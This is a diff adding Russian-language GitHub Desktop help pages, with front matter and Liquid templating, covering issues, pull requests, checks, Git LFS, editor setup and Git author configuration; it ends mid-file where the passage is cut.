/dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request.md @@ -0,0 +1,84 @@ +--- +title: Создание проблемы или запроса на вытягивание +intro: 'Можно создать проблему или запрос на вытягивание, чтобы предложить изменения в репозитории и совместно работать над ними.' +permissions: 'Anyone can create an issue in a public repository that has issues enabled. Anyone with read permissions to a repository can create a pull request, but you must have write permissions to create a branch.' +redirect_from: + - /desktop/contributing-to-projects/creating-an-issue-or-pull-request + - /desktop/contributing-to-projects/creating-a-pull-request + - /desktop/contributing-and-collaborating-using-github-desktop/creating-an-issue-or-pull-request +versions: + fpt: '*' +shortTitle: Create an issue or PR +ms.openlocfilehash: 5430c8f11d08efc3f21cf1c62f470f38dcc2f257 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145117480' +--- +## О проблемах и запросах на вытягивание + +Вы можете использовать проблемы для отслеживания идей, ошибок, задач и других сведений, важных для вашего проекта. Вы можете создать проблему в репозитории вашего проекта с помощью {% data variables.product.prodname_desktop %}. Дополнительную информацию о проблемах см. в разделе [Сведения о проблемах](/github/managing-your-work-on-github/about-issues). + +После создания ветви и внесения изменений в файлы в проекте можно создать запрос на вытягивание. С помощью запроса на вытягивание можно предложить, обсудить и выполнить итерацию по изменениям, прежде чем выполнить слияние изменений в проект. Можно создать запрос на вытягивание в репозитории проекта с помощью {% data variables.product.prodname_desktop %}. Дополнительную информацию о запросах на вытягивание см. в разделе [Сведения о запросах на вытягивание](/github/collaborating-with-issues-and-pull-requests/about-pull-requests). + +## Предварительные требования + +Перед созданием запроса на вытягивание необходимо отправить изменения в ветвь на {% data variables.product.prodname_dotcom %}. +- Сохраните и зафиксируйте любые изменения в локальной ветви. Дополнительные сведения см. в разделе [Фиксация и проверка изменений в проекте](/desktop/contributing-and-collaborating-using-github-desktop/committing-and-reviewing-changes-to-your-project). +- Отправьте локальные фиксации в удаленный репозиторий. Дополнительные сведения см. в разделе [Отправка изменений в GitHub](/desktop/contributing-and-collaborating-using-github-desktop/pushing-changes-to-github). +- Опубликуйте текущую ветвь в {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в статье [Управление ветвями](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches). + +## Создание проблемы + +{% mac %} + +1. В строке меню используйте раскрывающееся меню **Репозиторий**, а затем щелкните **Создать проблему на {% data variables.product.prodname_dotcom %}** . + ![Значение репозитория в меню "Ветвь"](/assets/images/help/desktop/create-issue-mac.png) +2. В {% data variables.product.prodname_dotcom %} щелкните **Начало работы**, чтобы открыть шаблон проблемы, или **Открыть пустую проблему**. + ![Создание новых параметров проблемы](/assets/images/help/desktop/create-new-issue.png) + +{% endmac %} + +{% windows %} + +1. В строке меню используйте раскрывающееся меню **Репозиторий**, а затем щелкните **Создать проблему на {% data variables.product.prodname_dotcom %}** . + ![Значение репозитория в меню "Ветвь"](/assets/images/help/desktop/create-issue-windows.png) +2. В {% data variables.product.prodname_dotcom %} щелкните **Начало работы**, чтобы открыть шаблон проблемы, или **Открыть пустую проблему**. + ![Создание новых параметров проблемы](/assets/images/help/desktop/create-new-issue.png) + +{% endwindows %} + +{% note %} + +**Примечание**. Если шаблоны проблем не включены в текущем репозитории, {% data variables.product.prodname_desktop %} направит вас к пустой проблеме на {% data variables.product.prodname_dotcom %}. + +{% endnote %} + +## Создание запроса на включение изменений + +{% mac %} + +1. Переключитесь на ветвь, для которой требуется создать запрос на вытягивание. Дополнительные сведения см. в разделе [Коммутация между ветвями](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches#switching-between-branches). +2. Щелкните **Создать запрос на вытягивание**. {% data variables.product.prodname_desktop %} откроет браузер по умолчанию, чтобы вы могли перейти к {% data variables.product.prodname_dotcom %}. + ![Кнопка "Создать запрос на вытягивание"](/assets/images/help/desktop/mac-create-pull-request.png). +4. На {% data variables.product.prodname_dotcom %} убедитесь, что ветвь в раскрывающемся меню **база:**  — это ветвь, в которой требуется выполнить слияние изменения. Убедитесь, что ветвь в раскрывающемся меню **сравнить:**  — это тематическая ветвь, в которой вы внесли изменения. + ![Раскрывающиеся меню для выбора базы и сравнения ветвей](/assets/images/help/desktop/base-and-compare-branches.png) {% data reusables.repositories.pr-title-description %} {% data reusables.repositories.create-pull-request %} + +{% endmac %} + +{% windows %} + +1. Переключитесь на ветвь, для которой требуется создать запрос на вытягивание. Дополнительные сведения см. в разделе [Коммутация между ветвями](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches#switching-between-branches). +2. Щелкните **Создать запрос на вытягивание**. {% data variables.product.prodname_desktop %} откроет браузер по умолчанию, чтобы вы могли перейти к {% data variables.product.prodname_dotcom %}. + ![Кнопка "Создать запрос на вытягивание"](/assets/images/help/desktop/windows-create-pull-request.png). +3. На {% data variables.product.prodname_dotcom %} убедитесь, что ветвь в раскрывающемся меню **база:**  — это ветвь, в которой требуется выполнить слияние изменения. Убедитесь, что ветвь в раскрывающемся меню **сравнить:**  — это тематическая ветвь, в которой вы внесли изменения. + ![Раскрывающиеся меню для выбора базы и сравнения ветвей](/assets/images/help/desktop/base-and-compare-branches.png) {% data reusables.repositories.pr-title-description %} {% data reusables.repositories.create-pull-request %} + +{% endwindows %} + +## Дополнительные материалы +- [Проблема](/github/getting-started-with-github/github-glossary#issue) в глоссарии {% data variables.product.prodname_dotcom %} +- [Запрос на вытягивание](/github/getting-started-with-github/github-glossary#pull-request) в глоссарии {% data variables.product.prodname_dotcom %} +- [Базовая ветвь](/github/getting-started-with-github/github-glossary#base-branch) в глоссарии {% data variables.product.prodname_dotcom %} +- [Тематическая ветвь](/github/getting-started-with-github/github-glossary#topic-branch) в глоссарии {% data variables.product.prodname_dotcom %} diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/index.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/index.md new file mode 100644 index 000000000000..5bdde989bd2a --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/index.md @@ -0,0 +1,22 @@ +--- +title: Работа с удаленным репозиторием в GitHub или GitHub Enterprise +intro: 'При локальном внесении изменений в проект их можно актуализировать в удаленном репозитории. В Git *удаленный* — это сервер, на котором хранится код. В вашем случае этот сервер является репозиторием на {% data variables.product.prodname_dotcom %} или {% data variables.product.prodname_enterprise %}.' +redirect_from: + - /desktop/contributing-to-projects/working-with-your-remote-repository-on-github-or-github-enterprise +versions: + fpt: '*' +children: + - /creating-an-issue-or-pull-request + - /viewing-a-pull-request-in-github-desktop + - /viewing-and-re-running-checks-in-github-desktop + - /configuring-notifications-in-github-desktop + - /changing-a-remotes-url-from-github-desktop +shortTitle: Work with your remote repo +ms.openlocfilehash: 60c2f41546ff085ea8f8d56142da6a3c7a81ebae +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145117475' +--- + diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-a-pull-request-in-github-desktop.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-a-pull-request-in-github-desktop.md new file mode 100644 index 000000000000..29e885550936 --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-a-pull-request-in-github-desktop.md @@ -0,0 +1,34 @@ +--- +title: Просмотр запроса на вытягивание в GitHub Desktop +shortTitle: Viewing a pull request +intro: 'Предлагаемые изменения можно просмотреть в открытых запросах на вытягивание в {% data variables.product.prodname_desktop %}.' +redirect_from: + - /desktop/contributing-to-projects/accessing-a-pull-request-locally + - /desktop/contributing-and-collaborating-using-github-desktop/accessing-a-pull-request-locally + - /desktop/contributing-and-collaborating-using-github-desktop/viewing-a-pull-request-in-github-desktop +versions: + fpt: '*' +ms.openlocfilehash: 62f824366991a5c075440f548a3b8916a8ba60db +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145117467' +--- +## Сведения о запросах на вытягивание в {% data variables.product.prodname_desktop %} +Вы можете просмотреть запросы на вытягивание, предложенные вами или участниками совместной работы, в {% data variables.product.prodname_desktop %}. Запросы на вытягивание позволяют предлагать изменения проектов, предоставлять обратную связь и отзывы, а также объединять изменения в проекты. Дополнительные сведения см. в разделе [Сведения о запросах на вытягивание](/github/collaborating-with-issues-and-pull-requests/about-pull-requests). + +При просмотре запроса на вытягивание в {% data variables.product.prodname_desktop %} можно просмотреть журнал фиксаций, сделанных участниками. Вы также можете просмотреть, какие файлы в фиксациях были изменены, добавлены или удалены. В {% data variables.product.prodname_desktop %} можно открыть репозитории в предпочитаемом текстовом редакторе для просмотра изменений или внесения дополнительных изменений. После просмотра изменений в запросе на вытягивание можно отправить отзыв на {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделе [Сведения о проверках запросов на вытягивание](/github/collaborating-with-issues-and-pull-requests/about-pull-request-reviews). + +Если проверки включены в репозитории, {% data variables.product.prodname_desktop %} отобразит состояние проверок запроса на вытягивание и позволит повторно выполнить проверки. Дополнительные сведения см. в разделе [Просмотр и повторная проверка в GitHub Desktop](/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-and-re-running-checks-in-github-desktop). + +## Просмотр запроса на вытягивание в {% data variables.product.prodname_desktop %} +{% data reusables.desktop.current-branch-menu %} {% data reusables.desktop.click-pull-requests %} ![Вкладка "Запросы на вытягивание" в раскрывающемся меню "Текущая ветвь"](/assets/images/help/desktop/branch-drop-down-pull-request-tab.png) {% data reusables.desktop.choose-pr-from-list %} ![Список открытых запросов на вытягивание в репозитории](/assets/images/help/desktop/click-pull-request.png) +4. При необходимости щелкните значок {% octicon "sync" aria-label="The sync icon" %}, чтобы обновить список запросов на вытягивание. + ![Кнопка синхронизации для обновления](/assets/images/help/desktop/pull-request-list-sync.png) + +## Открытие запроса на вытягивание в {% data variables.product.prodname_desktop %} из {% data variables.product.prodname_dotcom %} +{% data reusables.repositories.sidebar-pr %} +2. В списке запросов на вытягивание щелкните запрос на вытягивание, который нужно открыть в {% data variables.product.prodname_desktop %}. +3. Справа от заголовка запроса на вытягивание щелкните раскрывающийся список **Открыть** и выберите **Открыть в Desktop**. + ![Кнопка "Открыть в Desktop"](/assets/images/help/desktop/open-pr-in-desktop-button.png) diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-and-re-running-checks-in-github-desktop.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-and-re-running-checks-in-github-desktop.md new file mode 100644 index 000000000000..55fb008ae9e9 --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-and-re-running-checks-in-github-desktop.md @@ -0,0 +1,30 @@ +--- +title: Просмотр и повтор проверок в GitHub Desktop +shortTitle: Viewing and re-running checks +intro: 'Состояние проверок и их повторное выполнение можно просмотреть в {% data variables.product.prodname_desktop %}.' +versions: + fpt: '*' +ms.openlocfilehash: d763dc4e4b30844b905b4e601df6c9cb500c8094 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147068027' +--- +## Сведения о проверках в {% data variables.product.prodname_desktop %} + +{% data variables.product.prodname_desktop %} отображает состояние проверок, которые выполнялись в ветвях запроса на вытягивание. Значок проверки рядом с именем ветви отображает *ожидающее, успешное* или *неудачное* состояние проверок. Также можно повторно запустить все, неудачные или отдельные проверки при просмотре состояния проверок в {% data variables.product.prodname_desktop %}. Дополнительную информацию о настройке проверок в репозитории см. в разделе [Сведения о проверках состояния](/github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks). + +{% data variables.product.prodname_desktop %} также отображает системное уведомление при сбое проверки. Дополнительные сведения о включении уведомлений см. в разделе [Настройка уведомлений в GitHub Desktop](/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/configuring-notifications-in-github-desktop). + +## Просмотр и повтор проверки + +{% data reusables.desktop.current-branch-menu %} {% data reusables.desktop.click-pull-requests %} ![Вкладка "Запросы на вытягивание" в раскрывающемся меню "Текущая ветвь"](/assets/images/help/desktop/branch-drop-down-pull-request-tab.png) {% data reusables.desktop.choose-pr-from-list %} ![Список открытых запросов на вытягивание в репозитории](/assets/images/help/desktop/click-pull-request.png) +4. Щелкните номер запроса на вытягивание справа от имени ветви запроса на вытягивание. + ![Отображение проверки рядом с именем ветви](/assets/images/help/desktop/checks-dialog.png) +5. Чтобы повторно выполнить неудачные проверки, щелкните **Повтор {% octicon "sync" aria-label="The sync icon" %}** и выберите **Повторно выполнить неудачные проверки**. + ![Кнопка "Повторно выполнить неудачные проверки"](/assets/images/help/desktop/re-run-failed-checks.png) +6. Чтобы повторно выполнить отдельные проверки, наведите курсор на отдельную проверку, которую нужно повторно запустить, и нажмите значок {% octicon "sync" aria-label="The sync icon" %} для повторного запуска проверки. + ![Кнопка "Повторно выполнить отдельные проверки"](/assets/images/help/desktop/re-run-individual-checks.png) +7. Откроется диалоговое окно подтверждения со сводкой проверок, которые будут выполняться повторно. Нажмите кнопку **Выполнить повторную проверку**, чтобы подтвердить, что вы хотите выполнить повторную проверку. + ![Диалоговое окно подтверждения повторного выполнения](/assets/images/help/desktop/re-run-confirmation-dialog.png) diff --git a/translations/ru-RU/content/desktop/index.md b/translations/ru-RU/content/desktop/index.md new file mode 100644 index 000000000000..a8e30fb8ee20 --- /dev/null +++ b/translations/ru-RU/content/desktop/index.md @@ -0,0 +1,44 @@ +--- +title: GitHub Desktop +shortTitle: GitHub Desktop +intro: 'С помощью GitHub Desktop можно взаимодействовать с GitHub посредством графического пользовательского интерфейса вместо командной строки или веб-браузера. Вы можете использовать GitHub Desktop для выполнения большинства команд Git с настольного компьютера, таких как отправка в удаленные репозитории и извлечение из них, клонирование удаленных репозиториев, а также связывание фиксаций и создание запросов на вытягивание с визуальным подтверждением изменений.' +introLinks: + overview: /desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop +featuredLinks: + guides: + - /desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop + - /desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/installing-github-desktop + - /desktop/installing-and-configuring-github-desktop/installing-and-authenticating-to-github-desktop/authenticating-to-github + guideCards: + - /desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/stashing-changes + - /desktop/contributing-and-collaborating-using-github-desktop/managing-commits/reverting-a-commit + - /desktop/contributing-and-collaborating-using-github-desktop/managing-commits/amending-a-commit + - /desktop/contributing-and-collaborating-using-github-desktop/managing-commits/cherry-picking-a-commit + popular: + - /desktop/contributing-and-collaborating-using-github-desktop/adding-and-cloning-repositories/cloning-and-forking-repositories-from-github-desktop + - /desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches + - /desktop/contributing-and-collaborating-using-github-desktop/managing-commits + - /desktop/contributing-and-collaborating-using-github-desktop/keeping-your-local-repository-in-sync-with-github/syncing-your-branch + - /desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request + - /desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/pushing-changes-to-github +changelog: + label: desktop + versions: + fpt: '*' +layout: product-landing +versions: + fpt: '*' +topics: + - Desktop + - Repositories +children: + - /installing-and-configuring-github-desktop + - /contributing-and-collaborating-using-github-desktop +ms.openlocfilehash: c01564ef3eb2777fb49bd9fae0ce791c19b77e4d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146200021' +--- + diff --git a/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop.md b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop.md new file mode 100644 index 000000000000..1f1d0e9fc20b --- /dev/null +++ b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/about-git-large-file-storage-and-github-desktop.md @@ -0,0 +1,25 @@ +--- +title: Сведения о службе хранилища больших файлов Git и GitHub Desktop +shortTitle: About Git LFS +intro: '{% data variables.product.prodname_desktop %} включает {% data variables.large_files.product_name_long %} для управления большими файлами.' +redirect_from: + - /desktop/getting-started-with-github-desktop/about-git-large-file-storage-and-github-desktop + - /desktop/installing-and-configuring-github-desktop/about-git-large-file-storage-and-github-desktop +versions: + fpt: '*' +ms.openlocfilehash: 68f03ff9a52dce73fead084ab728f20e93524e96 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145117419' +--- +При установке {% data variables.product.prodname_desktop %} также устанавливается {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}). {% data variables.large_files.product_name_short %} позволяет отправлять файлы в {% data variables.product.prodname_dotcom %} сверх обычного ограничения {% data variables.large_files.max_github_size %}. Дополнительные сведения о {% data variables.large_files.product_name_short %} см. в статье [Сведения о {% data variables.large_files.product_name_long %}](/github/managing-large-files/about-git-large-file-storage). + +Чтобы использовать {% data variables.large_files.product_name_short %} с {% data variables.product.prodname_desktop %}, необходимо настроить {% data variables.large_files.product_name_short %} с помощью командной строки. Дополнительные сведения см. в статье [Настройка {% data variables.large_files.product_name_long %}](/github/managing-large-files/configuring-git-large-file-storage). + +Настроив {% data variables.large_files.product_name_short %} для отслеживания файлов в репозитории, можно легко получить доступ к большим файлам и управлять ими с помощью {% data variables.product.prodname_desktop %} как и любым другим файлом в репозитории. + +## Дополнительные материалы +- [Работа с большими файлами](/github/managing-large-files/working-with-large-files) +- [Управление версиями больших файлов](/github/managing-large-files/versioning-large-files) diff --git a/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-a-default-editor.md b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-a-default-editor.md new file mode 100644 index 000000000000..c20020175c7b --- /dev/null +++ b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-a-default-editor.md @@ -0,0 +1,95 @@ +--- +title: Настройка редактора по умолчанию +intro: Вы можете настроить GitHub Desktop для открытия файлов в проекте с помощью предпочтительного текстового редактора или интегрированной среды разработки (IDE). +redirect_from: + - /desktop/getting-started-with-github-desktop/configuring-a-default-editor + - /desktop/installing-and-configuring-github-desktop/configuring-a-default-editor +versions: + fpt: '*' +shortTitle: Configure default editor +ms.openlocfilehash: 0d0dbae9fce67d7bda890fa5a72ea3b5b92de46b +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009864' +--- +## Поддерживаемые редакторы + +{% data variables.product.prodname_desktop %} поддерживает следующие редакторы. + +{% mac %} + +- [MacVim](https://macvim-dev.github.io/macvim/) +- [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) +- [Visual Studio Codium](https://vscodium.com/) +- [Sublime Text](https://www.sublimetext.com/) +- [BBEdit](http://www.barebones.com/products/bbedit/) +- [JetBrains WebStorm](https://www.jetbrains.com/webstorm/) +- [JetBrains PhpStorm](https://www.jetbrains.com/phpstorm/) +- [JetBrains Rider;](https://www.jetbrains.com/rider/) +- [JetBrains PyCharm;](https://www.jetbrains.com/pycharm/) +- [JetBrains RubyMine](https://www.jetbrains.com/rubymine/) +- [JetBrains IntelliJ IDEA](https://www.jetbrains.com/idea/) +- [JetBrains GoLand](https://www.jetbrains.com/go/) +- [TextMate](https://macromates.com/) +- [Brackets](http://brackets.io/) + - Чтобы использовать Brackets с {% data variables.product.prodname_desktop %}, необходимо установить ярлык командной строки. Чтобы установить ярлык, откройте Brackets, щелкните **Файл** в строке меню, затем щелкните **Установить ярлык командной строки**. +- [Typora](https://typora.io/) +- [CodeRunner](https://coderunnerapp.com/) +- [SlickEdit](https://www.slickedit.com/) +- [Xcode](https://developer.apple.com/xcode/) +- [RStudio](https://rstudio.com/) +- [Nova](https://nova.app/) +- [Android Studio](https://developer.android.com/studio) +- [Aptana Studio](http://www.aptana.com/) + +{% endmac %} + +{% windows %} + +- [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) +- [Visual Studio Codium](https://vscodium.com/) +- [Sublime Text](https://www.sublimetext.com/) +- [ColdFusion Builder](https://www.adobe.com/products/coldfusion-builder.html) +- [Typora](https://typora.io/) +- [SlickEdit](https://www.slickedit.com/) +- [JetBrains IntelliJ Idea](https://www.jetbrains.com/idea/) +- [JetBrains WebStorm](https://www.jetbrains.com/webstorm/) +- [JetBrains PhpStorm](https://www.jetbrains.com/phpstorm/) +- [JetBrains Rider;](https://www.jetbrains.com/rider/) +- [JetBrains CLion](https://www.jetbrains.com/clion/) +- [JetBrains PyCharm;](https://www.jetbrains.com/pycharm/) +- [JetBrains RubyMine](https://www.jetbrains.com/rubymine/) +- [JetBrains GoLand](https://www.jetbrains.com/go/) +- [Android Studio](https://developer.android.com/studio) +- [Brackets](http://brackets.io/) +- [Notepad++](https://notepad-plus-plus.org/) +- [RStudio](https://rstudio.com/) +- [Aptana Studio](http://www.aptana.com/) + +{% endwindows %} + +## Настройка редактора по умолчанию + +{% mac %} + +{% data reusables.desktop.mac-select-desktop-menu %} +3. В окне "Настройки" выберите **Интеграции**. + ![Панель "Интеграции" в окне "Настройки"](/assets/images/help/desktop/mac-select-integrations-pane.png) +4. Используйте раскрывающееся меню "Внешний редактор" и выберите редактор, который необходимо установить по умолчанию. + ![Меню внешнего редактора в строке меню "Настройки"](/assets/images/help/desktop/mac-editor-menu.png) +5. Выберите команду **Сохранить**. + +{% endmac %} + +{% windows %} + +{% data reusables.desktop.windows-choose-options %} +3. В окне "Параметры" выберите **Интеграции**. + ![Панель "Интеграции" в окне "Параметры"](/assets/images/help/desktop/windows-select-integrations-pane.png) +4. Используйте раскрывающееся меню "Внешний редактор" и выберите редактор, который необходимо установить по умолчанию. + ![Меню внешнего редактора в строке меню "Параметры"](/assets/images/help/desktop/windows-editor-menu.png) +5. Выберите команду **Сохранить**. + +{% endwindows %} diff --git a/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-basic-settings.md b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-basic-settings.md new file mode 100644 index 000000000000..3a532ba76ae3 --- /dev/null +++ b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-basic-settings.md @@ -0,0 +1,33 @@ +--- +title: Настройка основных параметров +intro: 'Вы можете получить доступ к параметрам защиты конфиденциальности, подключению учетных записей к GitHub Desktop и настройке Git.' +redirect_from: + - /desktop/getting-started-with-github-desktop/configuring-basic-settings + - /desktop/installing-and-configuring-github-desktop/configuring-basic-settings +versions: + fpt: '*' +shortTitle: Configure basic settings +ms.openlocfilehash: b5de8829e25c61ff0141fb951025e6d2c338e64b +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145117416' +--- +{% mac %} + +{% data reusables.desktop.mac-select-desktop-menu %} +3. Для просмотра или изменения параметров переключайтесь между этими панелями: ![Навигация по меню "Параметры"](/assets/images/help/desktop/mac-select-accounts-pane.png){% data reusables.desktop.preferences-options-tabs %} + +{% endmac %} + +{% windows %} + +{% data reusables.desktop.windows-choose-options %} +2. Для просмотра или изменения параметров переключайтесь между этими панелями: ![Навигация по меню "Параметры" ](/assets/images/help/desktop/windows-select-accounts-pane.png){% data reusables.desktop.preferences-options-tabs %} + +{% endwindows %} + +## Дополнительные материалы + +- [Настройка темы для {% data variables.product.prodname_desktop %}](/desktop/guides/getting-started-with-github-desktop/setting-a-theme-for-github-desktop). diff --git a/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-git-for-github-desktop.md b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-git-for-github-desktop.md new file mode 100644 index 000000000000..984c93d6aeb8 --- /dev/null +++ b/translations/ru-RU/content/desktop/installing-and-configuring-github-desktop/configuring-and-customizing-github-desktop/configuring-git-for-github-desktop.md @@ -0,0 +1,98 @@ +--- +title: Настройка Git для GitHub Desktop +shortTitle: Configuring Git +intro: 'Вы можете управлять параметрами конфигурации Git для локальных репозиториев с помощью {% data variables.product.prodname_desktop %}.' +redirect_from: + - /desktop/getting-started-with-github-desktop/configuring-git-for-github-desktop + - /desktop/installing-and-configuring-github-desktop/configuring-git-for-github-desktop +versions: + fpt: '*' +ms.openlocfilehash: f14b309dcc7a4c779e9debb68f3962dfd38247cd +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146058519' +--- +## Сведения о конфигурации Git для {% data variables.product.prodname_desktop %} + +{% data variables.product.prodname_desktop %} использует локальные параметры конфигурации Git и предоставляет возможность настройки некоторых из этих параметров, таких как глобальные сведения о авторе и ветвь по умолчанию, используемая при создании нового репозитория. + +{% data variables.product.prodname_desktop %} позволяет задать имя и адрес электронной почты, связанные с вашими фиксациями в репозиториях. Если ваше имя и адрес электронной почты уже заданы в глобальной конфигурации Git для вашего компьютера, {% data variables.product.prodname_desktop %} обнаружит эти значения и будет использовать их. {% data variables.product.prodname_desktop %} также позволяет задать другое имя и адрес электронной почты для отдельного репозитория. Это полезно, если необходимо использовать отдельный рабочий адрес электронной почты для определенного репозитория. + +Если адрес электронной почты, заданный в конфигурации Git, не соответствует адресу электронной почты, связанному с учетной записью {% data variables.product.product_name %}, в которую вы вошли, в {% data variables.product.prodname_desktop %} перед фиксацией отобразится соответствующее предупреждение. + +{% data variables.product.prodname_desktop %} также позволяет изменить имя ветви по умолчанию, которое вы хотите использовать при создании новых репозиториев. По умолчанию {% data variables.product.prodname_desktop %} использует `main` в качестве имени ветви по умолчанию в создаваемых вами репозиториях. + +{% tip %} + +**Совет.** Любой пользователь сможет увидеть адрес электронной почты в конфигурации Git, если ваши фиксации будут общедоступными. Дополнительные сведения см. в разделе [Настройка адреса электронной почты для фиксации](/articles/setting-your-commit-email-address/). + +{% endtip %} + +## Настройка сведений о глобальном авторе + +Настройка сведений о глобальном авторе в {% data variables.product.prodname_desktop %} позволяет обновить имя и адрес электронной почты в глобальной конфигурации Git. Это будут имя и адрес электронной почты по умолчанию для всех новых локальных репозиториев, создаваемых в {% data variables.product.prodname_desktop %}. + +{% mac %} + +{% data reusables.desktop.mac-select-desktop-menu %} +7. В окне "Настройки" нажмите **Git**. + ![Область Git в меню "Настройки"](/assets/images/help/desktop/mac-select-git-pane.png) {% data reusables.desktop.name-field-git-config %} ![Поле для имени конфигурации Git](/assets/images/help/desktop/mac-name-git-config.png) {% data reusables.desktop.select-email-git-config %} ![Выбранный адрес электронной почты в поле конфигурации Git](/assets/images/help/desktop/mac-email-git-config.png) {% data reusables.desktop.click-save-git-config %} ![Кнопка "Сохранить" в поле конфигурации Git](/assets/images/help/desktop/mac-save-git-config.png) + +{% endmac %} + +{% windows %} + +{% data reusables.desktop.windows-choose-options %} +8. В окне "Параметры" нажмите **Git**. +![Область Git в меню "Параметры"](/assets/images/help/desktop/windows-select-git-pane.png) {% data reusables.desktop.name-field-git-config %} ![Поле для имени конфигурации Git](/assets/images/help/desktop/windows-name-git-config.png) {% data reusables.desktop.select-email-git-config %} ![Выбранный адрес электронной почты в поле конфигурации Git](/assets/images/help/desktop/windows-email-git-config.png) {% data reusables.desktop.click-save-git-config %} ![Кнопка "Сохранить" в поле конфигурации Git](/assets/images/help/desktop/windows-save-git-config.png) + +{% endwindows %} + +## Настройка разных сведений о авторе для отдельного репозитория + +Вы можете изменить имя и адрес электронной почты, используемые для создания фиксаций в определенном репозитории. Эта локальная конфигурация Git переопределит глобальные параметры конфигурации Git только для этого репозитория. + +{% mac %} + +{% data reusables.desktop.mac-repository-settings-menu %} {% data reusables.desktop.select-git-config %} {% data reusables.desktop.use-local-git-config %} {% data reusables.desktop.local-config-name %} {% data reusables.desktop.local-config-email %} {% data reusables.desktop.repository-settings-save %} + +{% endmac %} + +{% windows %} + +{% data reusables.desktop.windows-repository-settings-menu %} {% data reusables.desktop.select-git-config %} {% data 